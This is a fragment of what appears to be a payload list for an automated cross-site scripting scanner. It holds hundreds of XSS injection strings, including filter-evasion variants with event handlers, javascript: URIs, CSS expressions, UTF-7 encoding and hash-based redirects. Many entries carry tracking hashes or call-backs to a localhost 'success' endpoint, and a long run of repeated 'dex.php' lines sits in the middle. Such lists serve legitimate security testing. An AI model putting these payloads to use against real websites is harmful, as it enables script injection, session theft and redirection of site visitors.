      "<IMG SRC=\"livescript:[b4c7e452f1f2d4669ad179fae54424e4]\">\n",
      "<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=8852d1216f75d98d212427a5e0b01d0e\">\n",
      "<TABLE BACKGROUND=\"c4f4b8b91531716f61f773de55fdb8ad\">\n",
      "<TABLE><TD BACKGROUND=\"216a3023ad4b80f3f3b5b1f015d34284\">\n",
      "<TABLE BACKGROUND=javascript:aedf257cbb9c7f5850442460c36e797f>\n",
      "<DIV STYLE=\"background-image: url(4ea5c9293f28122f34120817bd78def0);\">\n",
      "<DIV STYLE=\"width: expression(033530a243a9cd5fdac615e71c6f8802);\">\n",
      "<IFRAME SRC=\"706eb8174a2e32259f63a06b1cebb793\"></IFRAME>\n",
      "<iframe/ /onload=54ffcf14468b730a226897cc9ae5f754></iframe>\n",
      "<iframe/ \"onload=aa091ff7722dca70d08e829239a9e21b></iframe>\n",
      "<iframe///////onload=4e9f225d4e49cfa99952a10c35ca417d></iframe>\n",
      "<iframe \"onload=520a5907821def901b5c048b65a22357></iframe>\n",
      "<iframe/ \"onload=d29d29992ced403e3a71d4124a6f06c5></iframe>\n",
      "<iframe<?php echo chr(11)?> onload=3efb4f82cefae1ab2f70431c02483a69></iframe>\n",
      "<iframe<?php echo chr(12)?> onload=5050bdcb39b7d6be881a756793f17b85></iframe>\n",
      "<FRAMESET><FRAME SRC=\"bd4623ccf0fc6150257491f9322fc621\"></FRAMESET>\n",
      "<TABLE BACKGROUND=\"4e35920655945dee66109193ed2d2648\">\n",
      "<TABLE><TD BACKGROUND=\"4a19cb9b06c0c68885f52af2bfe94d05\">\n",
      "<DIV STYLE=\"background-image: url(&#1;f9994411128bf5739550705dccafc538)\">\n",
      "<DIV STYLE=\"width: expression(20a4dba97713512749c28ebcb252566a);\">\n",
      "<IMG STYLE=\"xss:expr/*5410e26fe58201318b621fdbe6610a1e*/ession(5410e26fe58201318b621fdbe6610a1e)\">\n",
      "<08ce2fdcabb719fd0864f3fdbaefe722 STYLE=\"xss:expression(08ce2fdcabb719fd0864f3fdbaefe722)\">\n",
      "<STYLE TYPE=\"text/javascript\">233a39827d07d68f0aaf4fcfe84b32d1</STYLE>\n",
      "<STYLE>.0febd64111fc8ee15db524f2f8e96525{background-image:url(\"0febd64111fc8ee15db524f2f8e96525\");}</STYLE><A CLASS=0febd64111fc8ee15db524f2f8e96525></A>\n",
      "<STYLE type=\"text/css\">BODY{background:url(\"fb196b94a755abafe20c435256d19759\")}</STYLE>\n",
      "<!--[if gte IE 4]>150b02017cfa22c54a56ae10e310b043<![endif]-->\n",
      "<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=97f889fa053fbd4141a10bdb9b48ddbc></OBJECT>\n",
      "<BASE HREF=\"c003d95b7307da648ac0a1a41225450b//\">\n",
      "\"get\";b=\"URL(\"\";c=\"javascript:\";d=\"cbc2cf7c38a60604d10aba74e3a527c0\")\";eval(a+b+c+d);\n",
      "<? echo('<SCR)';echo('IPT>761c67ec51675ba6f591caf7371c9a69</SCRIPT>'); ?>\n",
      "<META HTTP-EQUIV=\"Set-Cookie\" Content=\"USERID=&lt;SCRIPT&gt;8eb7c5e6ad783fe17662996e8b6e531f&lt;/SCRIPT&gt;\">\n",
      "<SCRIPT SRC=http://127.0.0.1>d60cbe9cbc30be790cdea76af81ff31b</SCRIPT>\n",
      "<IMG SRC=\"jav&#x0D;ascript:aead4837cc6243cb04fa5209c9a24eb2\">\n",
      "<IMG SRC=\"&14;javascript:9289601b43c2f93fdcc97c34e2464666\">\n",
      "--- <IMG SRC=\" &#14;  453388874a5b0aec0e1a3375970e4d1e\">\n",
      "--- <IMG SRC=\"237522616e06461869c3e0d3620b0459\"\n",
      "<SCRIPT>a=/3521e2ee5e423cdfc5eb6e8f80595545/alert(a.source)</SCRIPT>\n",
      "--- \";f5fc7bf72984eb892bc8e1fa9cc2737a;//\n",
      "<META HTTP-EQUIVo\"refresh\" CONTENT=\"0; URL=http://;URL=b7af08b3f8b7b5dfa2f8ca87988721d5\">\n",
      "<IFRAME SRC=\"javascript:0a24d3225cbc0e417caffd5fd3743ef0 <\n",
      "<SCRIPT <B>=c5da1ba5a3eee1570506e88b518e4a6e\"></SCRIPT>\n",
      "<LAYER SRC=\"javascript:76bbd8fe67b8d907230df29920d45b77></LAYER>\n",
      "<SCRIPT>a=/eda6e3134b62266812028bf4d8bd71d7/neda6e3134b62266812028bf4d8bd71d7</SCRIPT>\n",
      "<STYLE>li {list-style-image: url(\"92f2d17626567d516b475fb60c6b6d1a</STYLE><UL><LI>92f2d17626567d516b475fb60c6b6d1a\n",
      "<input type=\"image\" dynsrc=\"b75ac6c41672ad5ec56c5e8588cb0240\">\n",
      "<DIV STYLE=\"background-image: url(&#1;javascript:13d0ceec429de15a6b7f0db3a107806d\">\n",
      "<HEAD><META HTTP-EQUIV=\"CONTENT-TYPE\" CONTENT=\"text/html; charset=UTF-7\"></HEAD>+ADw-SCRIPT+AD4-334b1d6691d78b1ea5175d723c387ccc+ADw-/SCRIPT+AD4-\n",
      "<a href=\"javascript#b7066327a48dd616b956f1108aae8a2b\">\n",
      "&c411e2ff820ea2e0c3fb05e232f4637f\">\n",
      "&{f6538cfe9e780526824e0121d7069392};\n",
      "<IMG SRC=&{f347c35d53b955642cf43c42d85671c3};>\n",
      "<DIV STYLE=\"binding: url(javascript:d7ea60be59f7572bc4445bf6b71be433);\">\n",
      "<a href=\"about:dd598b36adf05a17bcc44efedb3a9547\">\n",
      "<OBJECT classid=clsid:...\" codebase=\"javascript:a9ddda91953b9d333cc598c5a39e5261\">\n",
      "<style><!--</style><SCRIPT>0caa67836945149651c883a0879c91ea//--></SCRIPT>\n",
      "![CDATA[<!--]]<SCRIPT>773616114a7698bf92f8a4d0ae8f3254//--></SCRIPT>\n",
      "<form id=\"test\" /><button form=\"test\" formaction=\"javascript:e804b1ad5d4822570544e3e7713300e0\">X\n",
      "<input onfocus=javascript:bfaa6b9b2cafd7379c07a42079ebd8c0 autofocus>\n",
      "<div datafld=\"b\" dataformatas=\"html\" datasrc=\"#c70da7c82e3730718cd06f1e5243677b\"></div>\n",
      "<!-- -- -->f1bde751930e5f297a62150d514ee5a0<!-- -- -->\n",
      "<XML ID=I><X><C><![CDATA[<IMG SRC=\"javas]]<![CDATA[cript:870ac47d418ad48b0a777a54bcc94e58\">]]</C><X></xml>\n",
      "<xml id=\"X\"><a><b>569c0217b30a38cd8169661250add786;<b></a></xml>\n",
      "<select onfocus=javascript:09210ed15954ded0925688076a54aa12 autofocus>\n",
      "<body onscroll=e0a22ae491d9d2d80f1a2219e4294983><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>\n",
      "<input onblur=javascript:8c53e3c21f8761d20523bd37aa8336a3 autofocus><input autofocus>\n",
      "<textarea onfocus=javascript:aae23dba578b89a01a14efed693d1f06 autofocus>\n",
      "<keygen onfocus=javascript:c151469600d7854fe32e9a21fac42107 autofocus>\n",
      "<video poster=javascript:7fdc3ff01697d39764926d7b0efef0c3//\n",
      "X<form id=test onforminput=javascript:b77dab4e28bda728cba72214dec1b9db><input></form>\n",
      "<video onerror=\"javascript:defa94e533ef41312573d67082355931\"><source>\n",
      "X<form id=test><input></form><button form=test onformchange==javascript:ad937462787c9b986a629a306e856f53>X\n",
      "<video><source onerror=\"javascript:c2666a729a65810a0b606161b1051bad\">\n",
      "'';!--\"<script>document.location=document.location.hash.substring(1)</script>=&{()}\" \n",
      "\"><SCRIPT>alert('http://localhost:19084/success/1ddd1a34d703a6efa45b1860efcad3bb')</SCRIPT>\n",
      "\"><img src=\"x:x\" onerror=\"http://localhost:19084/success/91b451d8fd6ffe7681d867c5d1c4626e\">\n",
      "<IMG DYNSRC=\"http://localhost:19084/success/063ce2e03e99b16719432f2eec79f3cc\">\n",
      "<BODY BACKGROUND=\"http://localhost:19084/success/76186da552c5212aba15681180b41158\">\n",
      "<IMG SRC='http://localhost:19084/success/25beacb7c00abfddd8a0ab4b75d6301d'\n",
      "<IMG SRC=\"http://localhost:19084/success/bc997cd712da9e2310ac0c5d9dafe68b\">\n",
      "\"><script>document.location=document.location.hash.substring(1)</script>\n",
      "<IMG \"\"\"><script>document.location=document.location.hash.substring(1)</script>\">\n",
      "'';!--\"<script>document.location=document.location.hash.substring(1)</script>=&{()}\" \n",
      "</TITLE><script>document.location=document.location.hash.substring(1)</script>\n",
      "\";<script>document.location=document.location.hash.substring(1)</script>//\n",
      "<INPUT TYPE=\"IMAGE\" SRC=\"http://localhost:19084/success/655ab48c63fbf07e6a8ead3d353dbc15\">\n",
      "<IMG SRC=`http://localhost:19084/success/9a37c33d4271e907c04d68350134c352`>\n",
      "<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=<script>document.location=document.location.hash.substring(1)</script>\">\n",
      "<IMG SRC=http://localhost:19084/success/c63f6e28e227714808ded2a53a211c6c>\n",
      "<<SCRIPT>document.location=document.location.hash.substring(1)//<</SCRIPT>\n",
      "<DIV STYLE=\"behaviour: url(<script>document.location=document.location.hash.substring(1)</script>);\">\n",
      "<IMG SRC=\"mocha:[http://localhost:19084/success/7fccc7002b5af6b038193a75e6ff98e0]\">\n",
      "<BGSOUND SRC=\"http://localhost:19084/success/96af48d5395aafaa1395c7caec9ff626\">\n",
      "<BODY ONLOAD=<script>document.location=document.location.hash.substring(1)</script>>\n",
      "<BR SIZE=\"&{<script>document.location=document.location.hash.substring(1)</script>}\">\n",
      "<IMG LOWSRC=\"http://localhost:19084/success/d613bd1fc3ac0d5dbfd320c678973490\">\n",
      "<TABLE><TD BACKGROUND=\"http://localhost:19084/success/216a3023ad4b80f3f3b5b1f015d34284\">\n",
      "<IMG SRC=\"livescript:[http://localhost:19084/success/b4c7e452f1f2d4669ad179fae54424e4]\">\n",
      "<LINK REL=\"stylesheet\" HREF=\"http://localhost:19084/success/ce7e52ee0c0a53a4a6506f4b68de7599\">\n",
      "--- \";<script>document.location=document.location.hash.substring(1)</script>;//\n",
      "<FRAMESET><FRAME SRC=\"http://localhost:19084/success/bd4623ccf0fc6150257491f9322fc621\"></FRAMESET>\n",
      "<IMG SRC='vbscript:http://localhost:19084/success/5c59565c553ce0b0a311634d3da10dce'>\n",
      "<iframe///////onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<IMG SRC=\"&14;javascript:document.location=document.location.hash.substring(1)\">\n",
      "<TABLE BACKGROUND=javascript:document.location=document.location.hash.substring(1)>\n",
      "<DIV STYLE=\"background-image: url(<script>document.location=document.location.hash.substring(1)</script>);\">\n",
      "<HEAD><META HTTP-EQUIV=\"CONTENT-TYPE\" CONTENT=\"text/html; charset=UTF-7\"></HEAD>+ADw-SCRIPT+AD4-document.location=document.location.hash.substring(1)+ADw-/SCRIPT+AD4-\n",
      "<TABLE BACKGROUND=\"http://localhost:19084/success/4e35920655945dee66109193ed2d2648\">\n",
      "<iframe<?php echo chr(11)?> onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<DIV STYLE=\"width: expression(<script>document.location=document.location.hash.substring(1)</script>);\">\n",
      "<!-- -- --><script>document.location=document.location.hash.substring(1)</script><!-- -- -->\n",
      "<BASE HREF=\"<script>document.location=document.location.hash.substring(1)</script>//\">\n",
      "<iframe \"onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<iframe/ \"onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<TABLE BACKGROUND=\"http://localhost:19084/success/c4f4b8b91531716f61f773de55fdb8ad\">\n",
      "![CDATA[<!--]]<SCRIPT>document.location=document.location.hash.substring(1)//--></SCRIPT>\n",
      "<STYLE>li {list-style-image: url(\"<script>document.location=document.location.hash.substring(1)</script></STYLE><UL><LI>XSS\n",
      "\"get\";b=\"URL(\"\";c=\"javascript:\";d=\"http://localhost:19084/success/cbc2cf7c38a60604d10aba74e3a527c0\")\";eval(a+b+c+d);\n",
      "<TABLE><TD BACKGROUND=\"http://localhost:19084/success/4a19cb9b06c0c68885f52af2bfe94d05\">\n",
      "<IFRAME SRC=\"http://localhost:19084/success/706eb8174a2e32259f63a06b1cebb793\"></IFRAME>\n",
      "<iframe/ /onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<iframe/ \"onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<XSS STYLE=\"xss:expression(<script>document.location=document.location.hash.substring(1)</script>)\">\n",
      "<iframe<?php echo chr(12)?> onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<!--[if gte IE 4]><script>document.location=document.location.hash.substring(1)</script><![endif]-->\n",
      "<a href=\"about:<script>document.location=document.location.hash.substring(1)</script>\">\n",
      "<DIV STYLE=\"width: expression(<script>document.location=document.location.hash.substring(1)</script>);\">\n",
      "<SCRIPT SRC=http://127.0.0.1>http://localhost:19084/success/d60cbe9cbc30be790cdea76af81ff31b</SCRIPT>\n",
      "&{<script>document.location=document.location.hash.substring(1)</script>};\n",
      "<META HTTP-EQUIV=\"Set-Cookie\" Content=\"USERID=&lt;SCRIPT&gt;document.location=document.location.hash.substring(1)&lt;/SCRIPT&gt;\">\n",
      "<LAYER SRC=\"javascript:document.location=document.location.hash.substring(1)></LAYER>\n",
      "<? echo('<SCR)';echo('IPT>document.location=document.location.hash.substring(1)</SCRIPT>'); ?>\n",
      "<body onscroll=<script>document.location=document.location.hash.substring(1)</script>><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>\n",
      "<OBJECT classid=clsid:...\" codebase=\"javascript:document.location=document.location.hash.substring(1)\">\n",
      "<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=<script>document.location=document.location.hash.substring(1)</script>></OBJECT>\n",
      "<SCRIPT>a=/XSS/ndocument.location=document.location.hash.substring(1)</SCRIPT>\n",
      "<IMG STYLE=\"xss:expr/*XSS*/ession(<script>document.location=document.location.hash.substring(1)</script>)\">\n",
      "<STYLE>.XSS{background-image:url(\"http://localhost:19084/success/0febd64111fc8ee15db524f2f8e96525\");}</STYLE><A CLASS=XSS></A>\n",
      "<STYLE TYPE=\"text/javascript\"><script>document.location=document.location.hash.substring(1)</script></STYLE>\n",
      "<keygen onfocus=javascript:document.location=document.location.hash.substring(1) autofocus>\n",
      "<STYLE type=\"text/css\">BODY{background:url(\"http://localhost:19084/success/fb196b94a755abafe20c435256d19759\")}</STYLE>\n",
      "<video><source onerror=\"javascript:document.location=document.location.hash.substring(1)\">\n",
      "<META HTTP-EQUIVo\"refresh\" CONTENT=\"0; URL=http://;URL=<script>document.location=document.location.hash.substring(1)</script>\">\n",
      "<DIV STYLE=\"binding: url(javascript:document.location=document.location.hash.substring(1));\">\n",
      "<IFRAME SRC=\"javascript:document.location=document.location.hash.substring(1) <\n",
      "&<script>document.location=document.location.hash.substring(1)</script>\">\n",
      "<SCRIPT>a=/document.location=document.location.hash.substring(1)/alert(a.source)</SCRIPT>\n",
      "<style><!--</style><SCRIPT>document.location=document.location.hash.substring(1)//--></SCRIPT>\n",
      "<SCRIPT <B>=document.location=document.location.hash.substring(1)\"></SCRIPT>\n",
      "<IMG SRC=&{http://localhost:19084/success/f347c35d53b955642cf43c42d85671c3};>\n",
      "--- <IMG SRC=\"http://localhost:19084/success/237522616e06461869c3e0d3620b0459\"\n",
      "<textarea onfocus=javascript:document.location=document.location.hash.substring(1) autofocus>\n",
      "<input onfocus=javascript:document.location=document.location.hash.substring(1) autofocus>\n",
      "<input onblur=javascript:document.location=document.location.hash.substring(1) autofocus><input autofocus>\n",
      "<form id=\"test\" /><button form=\"test\" formaction=\"javascript:document.location=document.location.hash.substring(1)\">X\n",
      "<input type=\"image\" dynsrc=\"http://localhost:19084/success/b75ac6c41672ad5ec56c5e8588cb0240\">\n",
      "<xml id=\"X\"><a><b><script>document.location=document.location.hash.substring(1)</script>;<b></a></xml>\n",
      "<select onfocus=javascript:document.location=document.location.hash.substring(1) autofocus>\n",
      "<XML ID=I><X><C><![CDATA[<IMG SRC=\"javas]]<![CDATA[cript:http://localhost:19084/success/870ac47d418ad48b0a777a54bcc94e58\">]]</C><X></xml>\n",
      "<video onerror=\"javascript:document.location=document.location.hash.substring(1)\"><source>\n",
      "X<form id=test onforminput=javascript:document.location=document.location.hash.substring(1)><input></form>\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "\"><SCRIPT>alert('b65d2a83169ccf606496d5fc62882d88')</SCRIPT>\n",
      "'';!--\"<d7ba3a4f001afb86cf3f1fd89717e6bc>=&{()}\"\n",
      "\"><img src=\"x:x\" onerror=\"fbdfb8ad930f8eeac08b45eade34586f\">\n",
      "<BODY onload!#$%&()*~+-_.,:;?@[/|\\]^`=bef6879e45e486505f2d7213d331b96d>\n",
      "</TITLE>485a31ac27511af0d4fb2f0a5bb64aec\n",
      "\">a0e55e34c93acde791a36ff50299df9f\n",
      "'';!--\"<19be1351175e20878b52bb4522cda5fe>=&{()}\"\n",
      "<IMG SRC=\"2b47fd3f7c7555b0c2b74f15ff17e54c\">\n",
      "<IMG SRC=ddbafe8eed0c96e89cf675d8a6eaa57f>\n",
      "<IMG SRC=`7714d868bdfcd65c44b5931aea3d174a`>\n",
      "<IMG \"\"\">561395fee4fc1abb9946c9be5ee33de6\">\n",
      "<IMG SRC=\" &#14;  216b06765028a39f4ca8c048da2d57e5\">\n",
      "\";6c665ded9d941a67b076b9907d084896//\n",
      "<<SCRIPT>334e14bee50c0bf23142d3bbf1205e37//<</SCRIPT>\n",
      "<DIV STYLE=\"behaviour: url(b9b8910d94188d2b8407d11173c623fa);\">\n",
      "<IMG SRC='5688a180ad6c8ff4f68a89e5c27a4b0d'\n",
      "<BODY BACKGROUND=\"ec6279e52a2b3a5eba0b13a4d9da07b8\">\n",
      "<BODY ONLOAD=972129071bde9d6da9b64f6afd9ade28>\n",
      "<INPUT TYPE=\"IMAGE\" SRC=\"020f0d491fbfbfb2ae4b3ebbdfd436c7\">\n",
      "<IMG LOWSRC=\"89332ffeac76057faf91f24fe43f4ff0\">\n",
      "<IMG DYNSRC=\"990826a29af8a4438d408de356302399\">\n",
      "<BGSOUND SRC=\"819f6c73b35bbeb640f6e3ed6d41801c\">\n",
      "<BR SIZE=\"&{f45024f007ab1bbb6000b8177e67f97b}\">\n",
      "<LINK REL=\"stylesheet\" HREF=\"f07506318965306671d262097d976265\">\n",
      "<IMG SRC='vbscript:d6f89c7c208e84554a81545f088c8d01'>\n",
      "<IMG SRC=\"mocha:[d37e8140d81da55c305cf73591aa662a]\">\n",
      "<IMG SRC=\"livescript:[736029660f52a5e1ed5eddf647cc02cf]\">\n",
      "<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=36b29b41aaa4fc5343e8a05582a622a9\">\n",
      "<TABLE BACKGROUND=\"f1f7535d0b72aba654f07f039a2a92c2\">\n",
      "<TABLE BACKGROUND=javascript:0da88c60f2de7039005c75aa5035a7a8>\n",
      "<TABLE><TD BACKGROUND=\"d8424b45acda7a02c31689593c5ef246\">\n",
      "<DIV STYLE=\"background-image: url(eb7dfad3a7849d587b49514f8861d036);\">\n",
      "<DIV STYLE=\"width: expression(d041433d63ab4f636b45a22b2eebfb61);\">\n",
      "<IFRAME SRC=\"7fd8b51b31c4422caea8d649864e08c0\"></IFRAME>\n",
      "<iframe/ /onload=b42bfd673650e6f7b34a484ac8d60f8d></iframe>\n",
      "<iframe/ \"onload=3edad5d6e225fc301b48fd6dd972bc11></iframe>\n",
      "<iframe///////onload=cfc73bd5fd1d502900d60ba289bc2248></iframe>\n",
      "<iframe \"onload=3e0186b2394d2d1022d2915a6dab4ee9></iframe>\n",
      "<iframe/ \"onload=9c577715dfad2072abfce288a666bc8b></iframe>\n",
      "<iframe<?php echo chr(11)?> onload=a884377317b76bc23a639afeeae3ae60></iframe>\n",
      "<iframe<?php echo chr(12)?> onload=5d6a3cfcb34eecea26a9af967d291ad0></iframe>\n",
      "<FRAMESET><FRAME SRC=\"643f94531717de85b7c2f1d083f2585a\"></FRAMESET>\n",
      "<TABLE BACKGROUND=\"118d969e90ac06201441ba01344e49bf\">\n",
      "<TABLE><TD BACKGROUND=\"6b5f8af1934dece42519e1779b9a73aa\">\n",
      "<DIV STYLE=\"background-image: url(&#1;fc10bccb861f08b46f27b008d3303d0e)\">\n",
      "<DIV STYLE=\"width: expression(5a809354552b72ca91259151f23f1b84);\">\n",
      "<IMG STYLE=\"xss:expr/*40c1b7c016f80b5a4bfd462dce2dacdb*/ession(40c1b7c016f80b5a4bfd462dce2dacdb)\">\n",
      "<2226df028feecc90a514e50205a1847d STYLE=\"xss:expression(2226df028feecc90a514e50205a1847d)\">\n",
      "<STYLE TYPE=\"text/javascript\">a46a863d3b4e6dd256bbdc8acb7ee14a</STYLE>\n",
      "<STYLE>.958e21cab0033e906a108b22d571cf5c{background-image:url(\"958e21cab0033e906a108b22d571cf5c\");}</STYLE><A CLASS=958e21cab0033e906a108b22d571cf5c></A>\n",
      "<STYLE type=\"text/css\">BODY{background:url(\"3a83475c687de0f37d37416da571962e\")}</STYLE>\n",
      "<BASE HREF=\"d4927ae471a47b91480659d7210c6bd9//\">\n",
      "<!--[if gte IE 4]>bb0e42f694bbb0c10fc9af6593156efc<![endif]-->\n",
      "<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=9db3bbfa248ec965e925de7b37258c66></OBJECT>\n",
      "\"get\";b=\"URL(\"\";c=\"javascript:\";d=\"292183e2f195b421179a910a0bfe7816\")\";eval(a+b+c+d);\n",
      "<? echo('<SCR)';echo('IPT>1ef9a63becb0c48ff44e03c2fa7bd4cb</SCRIPT>'); ?>\n",
      "<META HTTP-EQUIV=\"Set-Cookie\" Content=\"USERID=&lt;SCRIPT&gt;b9cb3e1d8ff6229f678656946687975a&lt;/SCRIPT&gt;\">\n",
      "<SCRIPT SRC=http://127.0.0.1>e99c8439774a448c654268400104670f</SCRIPT>\n",
      "<IMG SRC=\"jav&#x0D;ascript:e03abd5c9cea0c978d38b320b6580de8\">\n",
      "<IMG SRC=\"&14;javascript:90889f4f026beb3ec701ceefa160b185\">\n",
      "--- <IMG SRC=\" &#14;  1c669a5c70ea31d83ff757e969fc764c\">\n",
      "--- <IMG SRC=\"45bbbf3300d0913ffde1c46c4f597035\"\n",
      "<SCRIPT>a=/7553b4e9324b1c7a912666fc8fbced94/alert(a.source)</SCRIPT>\n",
      "<META HTTP-EQUIVo\"refresh\" CONTENT=\"0; URL=http://;URL=6d5bcfbc9f14bce5133e6d2c5ddfc456\">\n",
      "--- \";6be8998f9cc61653b8958190513c128c;//\n",
      "<IFRAME SRC=\"javascript:4cb444c998ae9967b597c2528cb253f0 <\n",
      "<SCRIPT <B>=f495b8ece2ac11f7717bcb3e8095d5a2\"></SCRIPT>\n",
      "<SCRIPT>a=/136bbc9cc265e00a05627a9c5d6075db/n136bbc9cc265e00a05627a9c5d6075db</SCRIPT>\n",
      "<LAYER SRC=\"javascript:ab9feea9ffdfb8f53a5c486319d531c6></LAYER>\n",
      "<STYLE>li {list-style-image: url(\"a03078d54f8b20c17852b95fd71f4b94</STYLE><UL><LI>a03078d54f8b20c17852b95fd71f4b94\n",
      "<DIV STYLE=\"background-image: url(&#1;javascript:57c0e7103a6e001b0ab13d7b2e9e340b\">\n",
      "<HEAD><META HTTP-EQUIV=\"CONTENT-TYPE\" CONTENT=\"text/html; charset=UTF-7\"></HEAD>+ADw-SCRIPT+AD4-f4882eaf802750939fd27e7438b4854b+ADw-/SCRIPT+AD4-\n",
      "&aebecd6780babfa5819cd09acb6f66ea\">\n",
      "&{f31ae6d07b144cdefbe2cac4d5e51293};\n",
      "<input type=\"image\" dynsrc=\"24fa567b77253ccdf4fe22a198cd2b63\">\n",
      "<IMG SRC=&{8d2a4d134a1e3618bcf44849d3c3732d};>\n",
      "<DIV STYLE=\"binding: url(javascript:3a25c79b63e2f9bcf4fad8cf15e5e864);\">\n",
      "<style><!--</style><SCRIPT>def07a07ab808b1aeda70e52de14ab81//--></SCRIPT>\n",
      "<a href=\"about:79a72461b5ff92dd1ec880144a17c9ba\">\n",
      "<OBJECT classid=clsid:...\" codebase=\"javascript:733fc7581d8a3cf5386e51b329426643\">\n",
      "<a href=\"javascript#d26218872ddbdef8b3ae6bd506f95ff3\">\n",
      "![CDATA[<!--]]<SCRIPT>bb1045d0a0bce6e6d87cd83eada651a3//--></SCRIPT>\n",
      "<xml id=\"X\"><a><b>f149b958e4518963539c9658e3248804;<b></a></xml>\n",
      "<!-- -- -->ebff5cd3c11c6cb40aaae67eecc77b20<!-- -- -->\n",
      "<div datafld=\"b\" dataformatas=\"html\" datasrc=\"#83f9a0776317c1b0bcb5dc9e36f3369d\"></div>\n",
      "<XML ID=I><X><C><![CDATA[<IMG SRC=\"javas]]<![CDATA[cript:14562ea87190aa3153acbaa700a4c161\">]]</C><X></xml>\n",
      "<form id=\"test\" /><button form=\"test\" formaction=\"javascript:bcffc7b76983d07e93a38e4cf19907b7\">X\n",
      "<input onfocus=javascript:c0d1b3149974c7ab985d6d7dcc022398 autofocus>\n",
      "<select onfocus=javascript:f02137719e5c9c9fd3427ab77f9ed26b autofocus>\n",
      "X<form id=test onforminput=javascript:dc1385fe590c133661e093cc32e46c86><input></form>\n",
      "<textarea onfocus=javascript:e299d809511ce54c4a143fa2e236bf29 autofocus>\n",
      "<video poster=javascript:5092e24b627fec60b13fe8da7e9536f3//\n",
      "<body onscroll=b25ab3f7092cce111a9178d461c50a37><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>\n",
      "<keygen onfocus=javascript:aa4d54bfd158361c1001fd1727552164 autofocus>\n",
      "<input onblur=javascript:3efb4f7ca90f9a289100d146520df519 autofocus><input autofocus>\n",
      "X<form id=test><input></form><button form=test onformchange==javascript:5fdf679c86d3d655a73d06d11c645a97>X\n",
      "<video><source onerror=\"javascript:573a6b7d865fa5095ca0d42c6bee1d3b\">\n",
      "<video onerror=\"javascript:4ff44a43e34007e27104449cd2df9fed\"><source>\n",
      "\"><SCRIPT>alert('http://localhost:19084/success/b65d2a83169ccf606496d5fc62882d88')</SCRIPT>\n",
      "\"><script>document.location=document.location.hash.substring(1)</script>\n",
      "</TITLE><script>document.location=document.location.hash.substring(1)</script>\n",
      "<IMG \"\"\"><script>document.location=document.location.hash.substring(1)</script>\">\n",
      "'';!--\"<script>document.location=document.location.hash.substring(1)</script>=&{()}\" \n",
      "'';!--\"<script>document.location=document.location.hash.substring(1)</script>=&{()}\" \n",
      "\"><img src=\"x:x\" onerror=\"http://localhost:19084/success/fbdfb8ad930f8eeac08b45eade34586f\">\n",
      "<LINK REL=\"stylesheet\" HREF=\"http://localhost:19084/success/f07506318965306671d262097d976265\">\n",
      "<INPUT TYPE=\"IMAGE\" SRC=\"http://localhost:19084/success/020f0d491fbfbfb2ae4b3ebbdfd436c7\">\n",
      "<iframe<?php echo chr(11)?> onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<<SCRIPT>document.location=document.location.hash.substring(1)//<</SCRIPT>\n",
      "<IMG SRC=\"http://localhost:19084/success/2b47fd3f7c7555b0c2b74f15ff17e54c\">\n",
      "<IMG SRC=http://localhost:19084/success/ddbafe8eed0c96e89cf675d8a6eaa57f>\n",
      "<IMG SRC=&{http://localhost:19084/success/8d2a4d134a1e3618bcf44849d3c3732d};>\n",
      "<IMG DYNSRC=\"http://localhost:19084/success/990826a29af8a4438d408de356302399\">\n",
      "<IMG LOWSRC=\"http://localhost:19084/success/89332ffeac76057faf91f24fe43f4ff0\">\n",
      "<IMG SRC=`http://localhost:19084/success/7714d868bdfcd65c44b5931aea3d174a`>\n",
